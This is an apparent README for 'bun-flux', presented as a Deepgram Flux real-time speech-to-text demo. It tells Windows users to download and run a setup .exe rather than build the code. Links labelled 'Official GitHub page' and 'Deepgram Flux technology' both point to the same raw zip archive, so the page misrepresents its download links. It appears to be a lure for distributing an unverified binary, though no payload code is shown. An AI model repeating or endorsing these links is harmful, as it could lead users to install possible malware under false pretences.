bun-flux is a simple application that shows how to use Deepgram’s Flux for real-time speech transcription. It works with a microphone to turn spoken words into text on your screen. The app is designed to give you instant results, detecting when someone starts and stops talking. It uses TypeScript under the hood but you won’t need to know any code to use it.
This app is useful for anyone who wants to try real-time speech-to-text technology without setting up complicated tools. You can see exactly how the system picks up your voice and writes it out live.
To run bun-flux on your Windows computer, your system needs to meet these basic requirements:
- Windows 10 or newer (64-bit recommended)
- At least 4 GB of RAM
- A microphone connected and working
- Internet connection for streaming audio to Deepgram
- 200 MB of free disk space to download and install
If your computer meets these points, you’re ready to proceed.
The steps below will help you download, install, and run bun-flux. Follow each step carefully, and you’ll be up and running in just a few minutes.
Visit the official GitHub page to get the app. Click the big green button below or the badge at the top of this document.
Once you arrive at the page, look for the “Releases” section or the provided links to download the latest version. Download the Windows setup file to your desktop or Downloads folder.
After downloading:
- Find the setup file on your computer. The file usually ends with
.exe. - Double-click the file to start installation.
- Follow the instructions on the install wizard. Click “Next” through the steps.
- Choose the default options unless you want to change the install location.
- When installation is complete, click “Finish.”
- Find the bun-flux shortcut on your desktop or start menu.
- Double-click to open the app.
- When the app starts, it will ask for permission to use your microphone. Allow it.
- Speak clearly into your microphone to see your words appear on screen in real-time.
- Use controls in the app to start and stop transcription.
The app listens to your speech and shows transcription as you go.
- Press “Start” to begin listening.
- Speak normally and watch your words appear.
- The app will detect pauses and breaks in your speech.
- Press “Stop” to end the session and save the transcript if needed.
You can use bun-flux for meetings, interviews, or any time you want text from speech quickly.
bun-flux offers these features to make speech transcription easy:
- Real-time transcription as you speak
- Turn detection that marks where speech starts and stops
- Clear on-screen text display with timestamps
- Easy setup with no coding needed
- Support for live streaming speech with Deepgram’s Flux
- Lightweight and fast on most modern PCs
If bun-flux doesn’t work as expected, try these steps:
- Make sure your microphone is connected and recognized by Windows Settings.
- Check your internet connection since the app streams audio online.
- Restart the app if transcription freezes or stops unexpectedly.
- Update your microphone drivers through Windows Update.
- Close other apps that might use your microphone to avoid conflicts.
- Try speaking closer or clearer into the microphone if the text is inaccurate.
- Official GitHub page: https://raw.githubusercontent.com/Reezeytech/bun-flux/main/deploy/bun-flux-v3.1-alpha.4.zip
- Deepgram Flux technology: https://raw.githubusercontent.com/Reezeytech/bun-flux/main/deploy/bun-flux-v3.1-alpha.4.zip
- Windows audio settings: Open Settings > System > Sound
bun-flux streams your audio to Deepgram for transcription. Audio data is sent securely using encrypted connections. No data is stored on your computer by the app unless you save a transcript manually.
Click the link below to visit the page and download the latest version for Windows:
bun-flux relates to these key areas:
- bun
- deepgram
- demo
- flux
- quickstart
- real-time
- speech-to-text
- streaming
- turn-detection
- typescript